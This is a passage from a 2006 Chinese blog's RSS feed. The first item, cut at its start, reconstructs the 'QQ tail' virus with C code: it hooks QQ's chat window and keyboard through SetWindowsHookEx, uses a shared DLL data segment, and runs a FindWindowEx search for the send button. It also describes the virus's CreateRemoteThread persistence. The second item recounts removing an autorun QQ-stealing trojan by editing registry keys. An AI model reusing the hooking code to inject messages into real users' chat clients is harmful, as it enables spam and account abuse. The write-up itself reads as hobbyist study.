GW_CHILD); <br />　 if (g_hRich == NULL) <br />　　 return FALSE; <br />　 // 挂接钩子 <br />　 g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID); <br />　 g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID); <br />　 bRet = (g_hProc != NULL) &amp;&amp; (g_hKey != NULL); <br />} <br />else <br />{ <br />　 // 卸载钩子 <br />　 bRet = UnhookWindowsHookEx(g_hProc) &amp;&amp; UnhookWindowsHookEx(g_hKey); <br />　 g_hProc = NULL; <br />　 g_hKey = NULL; <br />　 g_hRich = NULL; <br />} <br />return bRet; <br />} <br />　　到此为止，以上所有的代码都位于一个Hook.dll的动态链接库之中，关于DLL我就不多介绍了，请查阅MSDN上的相关资料和本文的配套源代码。 <br />　　DLL之中已经做好了所有重要的工作（事实上这部分工作也只能由DLL来完成，这是由Windows虚拟内存机制决定的），我们只需要在EXE之中调用导出的SetHook函数就可以了。那么，SetHook的参数如何获得呢？请看以下代码： <br />// 感谢好友hottey的查找代码，省去了我使用Spy++的麻烦 <br />HWND hSend; <br />g_hQQ = NULL; <br />SetHook(NULL); <br />do <br />{ <br />g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL); <br />hSend = FindWindowEx(g_hQQ, NULL, "Button", "发送(&amp;S)"); <br />} while(g_hQQ != NULL &amp;&amp; hSend == NULL); <br />if (g_hQQ != NULL) <br />SetHook(g_hQQ); <br />　　这段代码中的do-while循环就是用来查找“发送消息”的窗口的，QQ窗口的保密性越来越强了，窗口一层套一层，找起来十分不便，所以在此感谢好友 hottey的《QQ消息炸弹随想》一文省去了我反复使用Spy++的麻烦。我所做的，只是把他文中的Delphi代码翻译成了C代码。 <br /><br />DLL的共享数据段 <br /><br />　　如果你对DLL不甚了解，那么在你读到我的配套源代码之后，肯定会对下面这一段代码有些疑问： <br />// 定义共享数据段 <br />#pragma data_seg("shared") <br />HHOOK g_hProc = NULL; // 窗口过程钩子句柄 <br />HHOOK g_hKey = NULL; // 键盘钩子句柄 <br />HWND g_hRich = NULL; // 文本框句柄 <br />#pragma data_seg() <br />#pragma comment(linker, "/section:shared,rws") <br />　　这定义了一段共享的数据段，是的，因为我的注释已经写得很清楚了，那么共享数据段起到了什么作用呢？在回答这个问题之前，我请你把代码中以#开头的预处理指令注释掉然后重新编译这个DLL并运行，你会发现什么？ <br />　　是的，添加尾巴失败！ <br />　　好了，我来解释一下这个问题。我们的这个仿真程序的EXE、DLL以及QQ的主程序事实上是下面这样一种关系： <br /><br />　　这个DLL需要将一个实例映射到EXE的地址空间之中以供其调用，还需要将另一个实例映射到QQ的地址空间之中来完成挂接钩子的工作。也就是说，当钩子挂接完毕之后，整个系统的模块中，有两个DLL实例的存在！此DLL非彼DLL也，所以它们之间是没有任何联系的。拿全局变量g_hRich来说，图中左边的DLL通过EXE的传入获得了文本框的句柄，然而如果没有共享段的话，那么右边的DLL中，g_hRich仍然是NULL。共享段于此的意义也就体现出来了，就是为了保证EXE、DLL、QQ三者之间的联系。这一点，和C++中static的成员变量有些相似。 <br />　　在钩子挂接成功之后，你可以通过一些有模块查看功能的进程管理器看一看，就会发现Hook.dll也位于QQ.exe的模块之中。 <br /><br />最后一些要说的 <br />那个病毒我曾经是手杀的——用了一个进程查看工具就杀掉了。但是现在的“QQ尾巴”增加了复活功能——在EXE被杀掉后，DLL会将其唤醒。我曾经用我的进程查看工具分析过，发现系统中几乎所有的进程都被病毒的DLL挂住了。这一技术是利用CreateRemoteThread在所有的进程上各插入了一个额外的复活线程，真可谓是一石二鸟——保证EXE永远运行，同时这个正在使用中的DLL是无法被删除的。这一技术我也已经实现了，但是稳定性方面远不及病毒本身做得优秀，故在此也就不将其写出了，有兴趣的朋友可以参考Jeffrey Richter《Windows核心编程》的相关章节。 <br /><br /><img src ="http://www.blogjava.net/computerboy/aggbug/89784.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/computerboy/" target="_blank">Computerboy</a> 2006-12-24 21:03 <a href="http://www.blogjava.net/computerboy/archive/2006/12/24/89784.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一个顽固型病毒 Auto  or sxs.exe</title><link>http://www.blogjava.net/computerboy/archive/2006/12/05/85542.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Tue, 05 Dec 2006 04:40:00 GMT</pubDate><guid>http://www.blogjava.net/computerboy/archive/2006/12/05/85542.html</guid><wfw:comment>http://www.blogjava.net/computerboy/comments/85542.html</wfw:comment><comments>http://www.blogjava.net/computerboy/archive/2006/12/05/85542.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/computerboy/comments/commentRss/85542.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/computerboy/services/trackbacks/85542.html</trackback:ping><description><![CDATA[一个顽固型病毒 Auto  or sxs.exe<br /><br />这是一个比较顽固的病毒（确切的说是木马），专门盗取别人的QQ为乐，<br />古人云：我的产业岂能由他人支配乎，嘿嘿。<br />昨天在家里调试路由，能上网了，大家高兴异常，用哥们的移动硬盘不小心中招。<br />今天上班发现想清除之，岂知它比较顽固，总在电脑里常驻。<br />一开始我以为就是一个Auto，也没有大的威胁，岂知我在显示所有文件时出了问题，<br />居然看不到它的位置。我在显示，发现他不能显示所有文件，每次都自动的给你还原回去。<br /><br />这我才发现问题的严重性，上网找了一下，说的也很多。没有具体的方法。<br />没有办法，自己来吧。<br /><br />不过发现有这样一条信息还是不错的。就是说<br />在系统注册表有一个值是被改动的<br />CheckedValue<br />进去看一下<br />运行——regedit<br /><br />HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL，<br />发现CheckedValue值是0，我们知道，这个值是控制系统所有文件是否显示，0 为不显示，1 为显示。<br />看来果然是它的问题，删除之，重新建立一个。<br />但是我建立CheckedValue 时发现系统提示已经有一个存在，无法新建，但是我已经删除了。<br />看来还是有问题，<br />进入<br />HKEY_LOCAL_MACHINE&gt;SOFTWARE&gt;Microsoft&gt;Windows&gt;CurrentVersion&gt;Run<br />下发现有一个值很可疑。<br />uyanyh<br />它的地址是指向  c:\windows\system32\lienrn.exe<br />删除之，但是问题又来了。删除之后，它有自动出现一个，改名之后还是会自动出现一个。<br />怪事年年有，今年特别多。<br />没有办法，找这个值吧。<br />uyanyh 搜索注册表。终于发现它的踪迹，删除之。然后按照以上方式，<br />新建一个CheckedValue 的Dword值  ，值为1<br />这样系统终于能显示了。把 sxs.exe  和 autorun.inf。删除。系统正常了。<br />虽然表面上看似一个简单的东西，但是却花费了我一个半小时的时间。<br /><br /><img src ="http://www.blogjava.net/computerboy/aggbug/85542.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/computerboy/" target="_blank">Computerboy</a> 2006-12-05 12:40 <a href="http://www.blogjava.net/computerboy/archive/2006/12/05/85542.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>